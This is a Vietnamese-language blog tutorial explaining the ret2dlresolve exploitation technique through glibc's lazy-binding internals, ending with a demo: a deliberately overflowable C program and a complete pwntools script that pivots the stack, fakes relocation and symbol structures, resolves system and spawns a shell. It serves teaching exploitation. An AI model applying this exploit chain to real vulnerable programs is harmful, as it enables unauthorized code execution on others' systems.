Ret2Dlresolve

✅ Kĩ thuật này được sử dụng khi trong chương trình không có function PLT nào có thể sử dụng để leak memory và address. Thì kĩ thuật này được sử dụng để lấy luôn shell (thay vì phải leak memory sau đó

Trong bài phân tích này tôi sẽ sử dụng glibc 2-35 trên Ubuntu 22:04. Build 1 file đơn giản có mã như sau:

#include<stdio.h>

int main(){
    puts("Symbol resolving");
    puts("Symbol resolved");
}
// gcc prog.c -o prog -no-pie -fno-stack-protector

Điều kiện để technique này active cần 2 yếu tố chính:

• Ta có quyền ghi vào các vùng nhớ tùy ý.

• Cần có các Gadget để có thể control parameter khi gọi hàm.

Overview

Tại sao lại là Ret2Dlresolve

Dissect

Trước tiên ta cần phân biệt 3 section: got, plt, got.plt

• .GOT: (Global Offset Table) - chứa địa chỉ của hàm __libc_start_main_impl (đây là hàm khởi động chính từ libc, khi bắt đầu thực thi nó sẽ được gọi để thiết lập mội trường và chạy main). Hoặc có thể gọi là cơ chế eager binding (Đây là cơ chế trong đó tất cả các hàm hoặc biểu tượng cần thiết được liên kết ngay trong quá trình khởi động chương trình (trước khi chương trình thực thi)). Ngoài ra còn chứa các biến đã được gán giá trị (bound - hàm hoặc biến trong chương trình được liên kết với địa chỉ cụ thể trong bộ nhớ -> say that: bound, Ex: (void*)puts linked to địa chỉ của symbol __GI__IO_puts trong bộ nhớ -> đã bound⁽¹⁾) trước khi chương trình thực thi -> GOT được đánh dấu là Read-Only để prevent overwrite.

(1)

pwndbg> x/5gx 0x403fd0
0x403fd0: 0x00007ffff7c2a200 0x00007ffff7c87be0
0x403fe0: 0x0000000000000000 0x0000000000403e00
0x403ff0: 0x00007ffff7ffe2e0
pwndbg> x/5gx 0x00007ffff7c87be0
0x7ffff7c87be0 <__GI__IO_puts>: 0xe5894855fa1e0ff3 0x5441554156415741
0x7ffff7c87bf0 <__GI__IO_puts+16>: 0x18ec834853fc8949 0x358b4cfffa0903e8
0x7ffff7c87c00 <__GI__IO_puts+32>: 0x4dc389480017b21c
pwndbg> p &puts
$1 = (int (*)(const char *)) 0x7ffff7c87be0 <__GI__IO_puts>

• .PLT: (Procedure Linkage Table) là nơi chứa địa chỉ của các stubs (đoạn mã nhỏ) của hàm tương ứng để tìm kiếm địa chỉ trong .got.plt để nhảy đến đúng địa chỉ hàm đó và kích hoạt các hàm được chứa trong section .got.plt

• .GOT.PLT: là một phần con của GOT và nó chứa các địa chỉ của các hàm được liên kết động (Dinamic binding entries) được gọi thông qua PLT (trong đó bao gồm cả các hàm chưa được resolve:puts@plt). Sau khi resolve thì địa chỉ mới sẽ được ghi đè (thay đổi thành địa chỉ của Libc tương ứng). Cơ chế này được gọi là Lazy Binding nên section này sẽ có quyền write.

Lưu ý là hàm ở đây là các symbols trong shared library (libc) không phải các hàm do người dùng định nghĩa.

Dưới đây là ảnh dissection 3 section trên:

Focus vào .got.plt section:

• GOT[0]: địa chỉ của .dynamic

• GOT[1]: địa chỉ của link_map

• GOT[2]: địa chỉ của dynamic linker (_dl_runtime_resolve())

• GOT[3]: #puts

resolve là gì?

Resolve là quá trình phân rã địa chỉ chuyển từ địa chỉ thuộc chương trình elf thành địa chỉ libc trong lần thực hiện đầu tiên

Hiểu nôm na quá trình này sẽ xảy ra khi lần đầu tiên bạn sử dụng hàm đó ⁽¹⁾ (Ex: lần đầu tiên hàm puts được thực thi). Lần đầu tiên đó, địa chỉ hàm puts trong global offset table(GOT) sẽ là 0x401030. Đầu tiên, trỏ đến 1 đoạn stubs nhỏ (puts@plt) ⁽²⁾ thực hiện việc tìm kiếm địa chỉ trong GOT table để nhảy ⁽³⁾ đến sau đó call dl_runtime_resolve_xsavec để resolve và nhảy ⁽⁴⁾ đến puts thực sự trong libc ⁽⁵⁾. Sau khi thực thi xong thì quá trình resolve đã được hoàn tất và bây giờ địa chỉ của nó sẽ là 0x7ffff7c87be0 ⁽⁶⁾ và địa chỉ sau khi resolve nó sẽ trỏ thẳng đến function (trong shared library - libc) mà không cần gọi qua dl_runtime_resolve_xsavec nữa ⁽⁷⁾.

Tại sao là ret2resolve?

ret2resolve có thể được hiểu là return to dl_runtime_resolve (hoặc dl_runtime_resolve_xsavec phụ thuộc vào các tính năng của CPU)

Kĩ thuật này lợi dụng việc lazy binding, từ đó khiên nó overwrite GOT của 1 địa chỉ nào đó trong GOT table thành system. Tại sao lại overwrite được mà không xảy ra lỗi? Đó là vì nó không có hàm nào kiểm tra rằng nó có đang resolve có đúng symbol không hay 1 symbol đã được sửa đổi để call.

DEEP DIVE

Đi sau vào sau bên trong, cách nó tính toán và link đến các dynamic symbols của hàm _dl_runtime_resolve_xsavec()

link_map (not linkmap)

https://codebrowser.dev/glibc/glibc/sysdeps/x86_64/dl-trampoline.S.html#_M/_dl_runtime_resolve

Và các đối số được truyền vào trong hàm _dl_runtime_resolve có thể được biểu diễn như sau (thực ra không hẳn là truyền vào, đây tôi minh họa bằng code cho dễ hiểu thôi :>>):

_dl_runtime_resolve_xsavec(link_map, reloc_arg)

link_map⁽¹⁾: trỏ đến phần .dynamic của một shared object, mà phần .dynamic đó là nơi chứa các dynamic entry type như: NEEDED, INIT, FINI, GNU_HASH, STRTAB, v.v..

reloc_arg: dùng để tính offset trong lần gọi hàm đầu tiên, nó sẽ pointer đến mục relocation tương ứng trong GOT table.

(1)

P/s: Bạn có thể sử dụng command pwndbg sau để hiển thị cấu trúc của link_map:

p *(struct link_map *)0x7ffff7ffe2e0 //address of linkmap

Dissect hàm _dl_runtime_resolve_xsavec ta có:

Step into vào bên trong _dl_fixup() ta sẽ thấy có 1 hàm là _dl_lookup_symbol_x Nó sẽ lấy 8 tham số:

https://codebrowser.dev/glibc/glibc/elf/dl-runtime.c.html#95

Trong đó có 3 arg cần chú ý sau:

• arg[0]: chứa pointer đến chuỗi được cho là tên của hàm

• arg[1]: chứa pointer đến link_map

Relocates Process Detail

Qua phần kiến thức bên trên, bạn có thể thấy rằng để tấn công theo kĩ thuật ret2dlresolve, bạn sẽ cần yếu tố chính sau:

1. Fake chuỗi được cho là tên của hàm (arg[0])

Nhưng mà để tính toán được arg[0] ta cần rất nhiều các tham số khác liên quan:

1. STRTAB

2. SYMTAB

3. JMPREL

Reference: https://codebrowser.dev/glibc/glibc/elf/dl-runtime.c.html#95

Reference: https://codebrowser.dev/glibc/glibc/elf/elf.h.html#_M/DT_NULL

STRTAB

Có địa chỉ là: 0x400430

Đây là nơi lưu trữ tên của các hàm, version của libc dưới dạng chuỗi (string)

Phân tích vào phép toán liên quan đến DT_STRTAB:

line49

const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);

l_info: nằm tại struct &link_map+0x40 và nó trỏ đến các địa chỉ nằm trong .dynamic section. DT_STRTAB có value là 5 -> l_info[5] = 0x403e88⁽¹⁾

D_PTR: được define như sau:

Nếu dynamic section được set là Read-Only ⁽²⁾ thì nó sẽ là:

Còn không thì là:

(1)

(2)

Vậy tổn kết lại:

const char *strtab = (const void *) l->l_info[5]->d_un.d_ptr;
const char *strtab = (const void *) STRTAB /*Addr of STRTAB section*/

Ngoài ra, đây là structure của Elf64_Dyn:

typedef struct
{
  Elf64_Sxword	d_tag;			/* Dynamic entry type */
  union
    {
      Elf64_Xword d_val;		/* Integer value */
      Elf64_Addr d_ptr;			/* Address value */
    } d_un;
} Elf64_Dyn;

DT_JMPREL

const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL])
		      + reloc_offset (pltgot, reloc_arg));

Trỏ vào biến reloc bạn có thể nó sử dụng Elf64_Rela:

typedef struct
{
  Elf64_Addr	r_offset;		/* Address */
  Elf64_Xword	r_info;			/* Relocation type and symbol index */
  Elf64_Sxword	r_addend;		/* Addend */
} Elf64_Rela;
//https://codebrowser.dev/glibc/glibc/elf/elf.h.html#Elf64_Rela

Hàm reloc_offset:

reloc_offset (uintptr_t plt0, uintptr_t pltn)
{
  return pltn * sizeof (ElfW(Rela));
}

Hoặc có thể viết là:

reloc_arg * sizeof(ElfW(Rela)) 

Biến đổi tương tự phần STRTAB ở trước đó ta sẽ được 1 biểu thức mới:

const PLTREL *const reloc = (const void *)
(l->l_info[23]->d.un.d_ptr + reloc_arg * sizeof(ElfW(Rela));

ElfW(Rela) là gì?

Đây là định nghĩa của nó:

#define ElfW(type)	_ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)	_ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)	e##w##t

Và có thể được hiểu trong trường hợp này là:

ElfW(Rela) = _ElfW (Elf, __ELF_NATIVE_CLASS, type)
= _ElfW (Elf, 64, Rela)    //64bits system
= _ElfW_1 (Elf, 64, _Rela)
= Elf64_Rela

Như vậy sizeof(Elf64_Rela) = 0x18 = 24

Chốt lại ta sẽ có công thức tính reloc là:

const PLTREL *const reloc = (const void *) (l->l_info[23]->d_un.d_ptr + reloc_arg * 0x18);
                        = JMPREL + reloc_arg * 0x18

DT_SYMTAB

Biến đổi nhanh giai đoạn thứ 1:

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

ElfW(R_SYM) = Elf64_R_SYM

Dựa theo đinh nghĩa của ELF64_R_SYM ta có:

Elf64_R_SYM(reloc->r_info) = reloc->r_info >> 32

Chốt lại biểu thức của ta bây giờ sẽ là:

const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];

Giai đoạn thứ 2:

const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);

Ta có thể hiểu là:

const ElfW(Sym) *const symtab = (const void *) l->l_info[6]->d_un.d_ptr;
                                = SYMTAB /*Addr of SYMTAB section*/

Như vậy nếu kết hợp 2 giai đoạn trên ta có thể kết luận rằng:

reloc->r_info >> 32 là index để tìm structure Elf64_Sym tương ứng trong SYMTAB section

Other

Ta sẽ phân tích thêm các đoạn code trong hàm _dl_fixup để hiểu hơn về chương trình này thay vì chỉ tập trung vào 3 section chính bên trên.

Ta có 1 dòng:

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

rel_addr là pointer trỏ đến vùng lưu trữ của các resolved symbol.

Tiếp đến là đoạn code kiểm tra reloc->r_info có phải là 1 JUMP_SLOT hợp lệ:

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

Trong đó:

ELFW(R_TYPE) (reloc->r_info) = (reloc->r_info) & 0xffffffff

ELF_MACHINE_JMP_SLOT được defined là 7 (R_X86_64_JUMP_SLOT hoặc R_AMD64_JUMP_SLOT)

Từ đó dòng 63 có thể được hiểu là:

assert ((reloc->r_info & 0xffffffff) == 0x7);

Tiếp tục 1 điều kiện khác ở dòng 67:

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

Biến đổi nhanh:

if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

Nếu symbol chưa được resolved thì điều kiện này sẽ đúng (tức = 0 <-> default). Nếu chưa thì điều kiện bên trong if lại tiếp tục kiểm tra:

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

Và có thể hiểu như sau (ở đây tôi đã viết tắt để bài không bị dài, nếu bạn muốn hiểu cặn kẽ hay đi sâu vào thực hành trên dòng 71):

if (l->l_info[0x32] != NULL)

Rút gọn hơn nữa ta sẽ được công thức sau:

l->l_info[0x32] =
&l + 0x8*8 (l_info offset in link_map) + 0x32 (index of l_info array) * 0x8 (address size)
= &l + 0x40 + 0x32 * 0x8
= &l + 0x1d0

=> if ((&l + 0x1d0) != NULL)

Và nó sẽ tương ứng trong instruction sau:

Và nếu điều kiện này thỏa mãn nó sẽ thực thi tiếp tệp code sau:

const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
    version = NULL;

Tóm tắt thì:

VERSYMIDX (DT_VERSYM) = 0x32
const Elf64_Half *vernum = (const void *) l->l_info[0x32]->d.un.d_ptr;
Elf64_Half ndx = vernum[reloc->r_info >> 32] & 0x7fff;

Cuối cùng thì version tôi đoán nó sẽ là: &link_map + 0x2e8dựa vào instruction dưới đây

_dl_lookup_symbol_x()

Dòng 95, điểm mà ta đã chú ý đến khi disass _dl_fixup, đó là _dl_lookup_symbol_x

lookup_t result;
[...]
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
			version, ELF_RTYPE_CLASS_PLT, flags, NULL);

Hàm này sẽ phụ trách: Search loaded objects' symbol tables for a definition of the symbol strtab + sym->st_name, perhaps with a requested version for the symbol ⁽¹⁾. Và nó sẽ trả về địa chỉ libc base address⁽⁴⁾ hoặc địa chỉ link_map chứa data của file libc⁽³⁾

(1)

(2)

(3)

(4)

2 hàm tiếp theo sử dụng kết quả trả về của _dl_lookup_symbol_x đó là:

value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
[...]
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

DL_FIXUP_MAKE_VALUE sẽ tìm kiếm offset của symbol trong libc, relocates sau đó lưu nó trong value

dựa vào hàm SYMBOL_ADDRESS để Calculate the address of symbol REF using the base address⁽¹⁾

(1)

Và để có thể dễ hình dung ta có thể rút gọn (tương tự như trên) như sau:

value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
--------------------------------------------------------------------------
#define SYMBOL_ADDRESS(map, ref, map_set)                           \
    ((ref) == NULL ? 0                                                \
    : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0            \
        : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)
--------------------------------------------------------------------------
#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)
--------------------------------------------------------------------------
/* Finally: */
value = DL_FIXUP_MAKE_VALUE (result, result->l_addr + sym->st_value);
/* As mean as: */
value = DL_FIXUP_MAKE_VALUE (base_addr, base_addr->l_addr + sym->st_value);
/* OR */
value = DL_FIXUP_MAKE_VALUE (link_map, link_map->l_addr + sym->st_value);

Và trong GDB, sau khi bạn thực hiện xong hàm _dl_lookup_symbol_x nó thực hiện 2 instruction sau đó để tìm ra chính xác định chỉ của puts() trong libc.

pwndbg> x/10xg 0x7ffff7c0d0c8+8
0x7ffff7c0d0d0:	0x0000000000080e50   //st_value

Và cuối cùng hàm elf_machine_fixup_plt() sẽ ghi địa chỉ symbol vừa resolved được (trong địa chỉ mà được trỏ bởi rel_addr)

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
[...]
/* function */
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
		       const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
		       const ElfW(Rela) *reloc,
		       ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
  return *reloc_addr = value;
}

Summary (tổng kết)

1

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)

has called

2

const PLTREL *const reloc = (const void *) \
                (l->l_info[23]->d.un.d_ptr + reloc_arg * 0x18)
                = (const void *) JMPREL /*addr of JMPREL*/ + reloc_arg * 0x18

l->l_info[23] là địa chỉ của JMPREL. (Bạn có thể so sánh giữa 0x17 trong .dynamic và objdump) và tham chiếu ->d.un.d_ptr chỉ đơn giản là lấy địa chỉ của JMPREL thôi. Đoạn này nó lấy pointer đến Elf64_Rela

3

const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];
                = SYMTAB + (reloc->r_info >> 32)*0x18

0x18 is size of Elf64_Sym structure

giá trị được trả về là 1 index để tìm structure Elf64_Sym tương ứng trong SYMTAB section. Lấy pointer đến Elf64_Sym

4

assert ((reloc->r_info & 0xffffffff) == 0x7)

Sử dụng r_info trong Elf64_Rela và kiểm tra rằng là 1 JUMP_SLOT hợp lệ. Hoặc đơn giản hơn là xem r_info của Elf64_Rela có bằng 7 hay không.

5

if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

sử dụng st_other trong Elf64_Sym. Và nó sẽ kiểm tra symbol này đã được resolved hay chưa (resolved != 0) (not resolve = 0 (default))

6

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
/* mean as */
if ((&l + 0x1d0) != NULL)

Nếu điều kiện này thỏa mãn nó sẽ thực hiện tính ndx như sau:

ElfW(Half) ndx = vernum[reloc->r_info >> 32] & 0x7fff

Và sau đó tính tiếp version number:

version = &l->l_versions[ndx]

7

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
			version, ELF_RTYPE_CLASS_PLT, flags, NULL);

looks for loaded objects’ symbol tables for a definition of the symbol in strtab + sym->st_name and returns the libc_base or link_map address.

8

value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

Tìm ra offset của symbol từ libc_base address và relocates nó.

9

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

elf_machine_fixup_plt() sẽ ghi địa chỉ symbol vừa resolved được (trong địa chỉ mà được trỏ bởi rel_addr)

Đọc đến đây mà có chút lú thì meme này dành cho bạn 😀và đọc lại lần nữa.

Ret2Dlresolve technique

Từ phần trước ta có quy trình resolved symbol như sau:

Trong đó

• phần đỏ là phần đã biết trước thông qua objdump hoặc elf (pwndbg)

• phần cam là phần ta sẽ cần phải fake để có thể resolved symbol tùy ý mà ta muốn

1

Đầu tiên Push Fake reloc_arg lên stack sau đó jump đến PLT stub. Mục đích cuối cùng là để kết quả const PLTREL *const reloc trỏ đến vùng nhớ mà ta có quyền controllable. Theo công thức sau:

$$reloc\_arg = \frac {(fake\_reloc-\texttt{JMPREL})} {\texttt{0x18}}$$

2

Sau khi fake được reloc_arg ta sẽ có thể fake được luôn pointer đến Elf64_Rela/Elf32_Rela. Mục tiêu là để kết quả cuối cùng của const ElfW(Sym) *sym trỏ đến vùng mà ta có quyền controllable

$$r\_info = \left(\frac {(fake\_sym - \texttt{SYMTAB}) } {\texttt{0x18}} << 32\right)$$

3

Sau khi có pointer đến fake Elf64_Rela structu re, ta có thể thay đổi giá trị r_info để đảm bảo rằng nó được kết thúc bằng 0x7.

$$0 \not= \left(\frac {(fake\_sym - \texttt{SYMTAB}) } {\texttt{0x18}} << 32\right) | \texttt{0x7}$$

4

Tương tự, ta sẽ thay đổi giá trị của st_other thành 0x00 để chương trình hiểu rằng symbol cần đi resolve.

5

Sau đó là fake st_name trong pointer trỏ đến Elf64_Sym để nó trỏ đến vùng lưu trữ địa chỉ chứa chuỗi của symbol.

$$st\_name = fake\_symstr - \texttt{STRTAB}$$

6

Cuối cùng tạo 1 section fake STRTAB chứa tên hàm mà ta muốn resolve như ("system\x00")

Demo

Link file:

2MB

practice_dl_resolve.zip

archive

Open

Tôi sẽ dùng glibc2.35 trên Ubuntu 22:04 và source code sau để practice.

#include<stdio.h>
#include <unistd.h>

void gadget(){
    asm("pop %rsi ; pop %r15 ; ret");
    asm("pop %rdi ; ret");
}

void main(void)
{
    char buff[20];
    read(0, buff, 0x90);
}

Đầu tiên ta cần xác định các yếu tố biết trước trong phép toán, đó là STRTAB, SYMTAB, JMPREL.

Và 1 vùng mem mà ta có quyền controllable:

(1)

Tôi sẽ lấy giá trị: 0x404d30 để nó không ảnh hưởng đến các section memory. Lí do tôi chọn giá trị này là vì trong quá trình debug thì tôi nhận ra trong quá trình lấy địa chỉ này đi tính toán đề di chuyển data trong memory nó có 1 phép tính đè vào vùng read-only -> Segment Fault

Giả sử nếu stack của bạn chọn quá thấp như là 0x404600 thì sau khi trừ nó sẽ nằm trong read-only memory 0x404600 - 0x9c0 = 0x403c40⁽¹⁾

Và lí do tôi chọn giá trị lẻ đằng sau là vì ta cần căn chỉnh để có thể có 1 struct phù hợp và vài lần segment fault trong quá trình resolve - để giải quyết được vấn đề đó hãy mạnh dạn tằng địa chỉ chọn làm stack lên (Phần này có thể khó hiểu, hãy debug để hiểu rõ hơn 😀)

Tiếp đến, ta cần tính toán và chọn ra 3 pointer cần fake: fake_reloc, fake_sym, fake_symstr để control reloc_arg, st_name, r_info

from pwn import *

elf = context.binary = ELF('./prog_patched')
r = elf.process()
gdb.attach(r, gdbscript="""
b* main+25\n
b* main+32\n
b* _dl_fixup\n
""")
# Set up address space start
def align(size):
    return (0x18 - (size % 0x18))

# Identify Section 
STRTAB = 0x3fe4a0
SYMTAB = 0x3fe440
JMPREL = 0x4004e0
RW_SEC = 0x404d30

# Fake reloc pointer
fake_reloc = RW_SEC + 0x18
fake_reloc += align(fake_reloc - JMPREL) #Ensure reloc_arg is integer not float
reloc_arg = int((fake_reloc - JMPREL) / 0x18)

log.info(f"Fake .rela.plt pointer start at: {hex(fake_reloc)}")
log.info(f"reloc_arg: {hex(reloc_arg)}")
log.info(f"Expected fake .rela.plt at: reloc_arg*0x18 + JMPREL => {hex(JMPREL + reloc_arg * 0x18)}")
print("-" * 80)

# Fake .dynsym pointer
fake_sym = fake_reloc + 0x18
fake_sym += align(fake_sym - SYMTAB) #Ensure sym_arg is integer not float
r_info = (int((fake_sym - SYMTAB) / 0x18) << 32) | 0x7

log.info(f"Fake .symtab pointer start at: {hex(fake_sym)}")
log.info(f"r_info: {hex(r_info)}")
log.info(f"Expected fake .symtab at: ((r_info >> 32)*0x18) + SYMTAB => {hex(SYMTAB + ((r_info >> 32) * 0x18))}")
print("-" * 80)

# Fake .dynstr pointer
fake_symstr = fake_sym + 0x18
st_name = fake_symstr - STRTAB
log.info(f"Fake .strtab pointer start at: {hex(fake_symstr)}")
log.info(f"st_name: {hex(st_name)}")
log.info(f"Expected fake .strtab at: (st_name + STRTAB) => {hex(STRTAB + st_name)}")
print("-" * 80)

Việc chọn phải đảm bảo yếu tố phù hợp với bối cảnh. Như ảnh sau là được nhé!

Sau khi xác định được các yếu tố cần thiết, bạn cần khai thác vuln Buffer Overflow để có quyền controllable (read, write, execute) memory mà ta đã xác định trước đó.

Stage 1: Stack Pivoting vie leave ; ret gadget

Ta sẽ dùng leave ; ret gadget để stack pivot. Tôi sẽ không đi sâu vào kĩ thuật này (tránh bài blog này dài)

Stack bây giờ đã nằm trong vùng memory mà ta có quyền kiểm soát. Nhìn vào <read+15> ta có thể input thêm 1 lần nữa. Lần này tôi sẽ gọi là stage 2: Input payload exploit dl_resolve.

# Stage 1: Stack Pivoting
# ROP Gadget
POP_RDI = 0x0000000000401140
POP_RSI_R15 = 0x000000000040113e
LEAVE = 0x000000000040116a

stage1 = b"A" * 32
stage1 += p64(RW_SEC)
stage1 += p64(POP_RDI) + p64(0) # RDI = arg0 = 0
# RSI = arg1 = RW_SEC + 0x8
stage1 += p64(POP_RSI_R15) + p64(RW_SEC + 0x8) + p64(0)
stage1 += p64(elf.plt.read) # read(0, RW_AREA + 0x8, 0x90)
stage1 += p64(LEAVE) # leave; ret;
stage1 += b"X" * (0x90 - len(stage1))
r.send(stage1)

Stage 2: Ret2Dlresolve

Stage này sẽ bắt đầu 1 quá trình cầm symbol đi resolve tính từ lúc nhảy đến stub push link_map lên stack kèm theo đó tôi sẽ push luôn tham số /bin/sh lên RDI (ghi đè sau) để khi resolve xong system thì nó sẽ gọi luôn tham số này -> tránh lỗi

Lưu ý rằng: bạn cần chọn 1 reloc_arg có giá trị nhỏ ~ 2 byte. Nếu > 2 byte thì sẽ bị valid memory ngay ở phần tính toán reloc pointer (Elf64_Rela)

# Stage 2: Fake structure exploit resolving
binsh = fake_symstr + 0x8
stub_plt = 0x401020  #.plt default stub
stage2 = p64(POP_RDI) + p64(binsh) # RDI = arg0 = "/bin/sh\x00"
stage2 += p64(stub_plt)
stage2 += p64(reloc_arg) # arg1 of _dl_fixup() = reloc_arg

# Fake Elf64_Rela
got_read = elf.got.read
stage2 += p64(got_read) #r_offset
stage2 += p64(r_info) #r_info
stage2 += p64(0) #r_addend

# Padding
stage2 += p64(0) * 3

# Fake Elf64_Sym
stage2 += p32(st_name)
stage2 += p8(0x12) #st_info
stage2 += p8(0x0) #st_other
stage2 += p16(0x0) #st_shndx
stage2 += p64(0x0) #st_value
stage2 += p64(0x0) #st_size 

# Fake strings
stage2 += b"system\x00\x00"
stage2 += b"/bin/sh\x00"
stage2 += b"X" * (0x90 - len(stage2))

r.sendline(stage2)
r.interactive()

Giải thích phần padding, đó là do ta cần sự phù hợp của dữ liệu nạp vào structure kể trên

Như bạn có thể thấy strtab + sym->st_name = địa chỉ của "system".

Sau khi _dl_fixup hoàn thành thì ta sẽ có bảng GOT như sau:

Và kết quả cuối cùng của việc exploit thành công là:

P/s: Nếu bạn không hiểu phần exploit này thì hãy đọc lại phần lí thuyết trên 1 lần nữa nhé :)).

Reference:

1. https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html#Relocations

2. https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf

3. https://chung96vn.wordpress.com/2018/12/28/ret2dlresolve-technique/

4. https://syst3mfailure.io/ret2dl_resolve/

Lưu ý:

Phần trước other và sau other là 2 file khác nhau (Khác glibc) nên để thực sự hiểu thì bạn hãy practice theo tôi - Xin lỗi vì sự bất tiện này :<

Ngoài ra nếu có bất kì vấn đề nào liên quan đến bài post. Hãy gửi tin nhắn cho tôi qua Message Box, tôi sẽ trả lời sớm nhất. Cảm ơn sự đóng góp của bạn!

Góc Donate

Nếu bạn thích bài viết này, hãy ủng hộ tác giả cốc coffee/tiền mạng😀.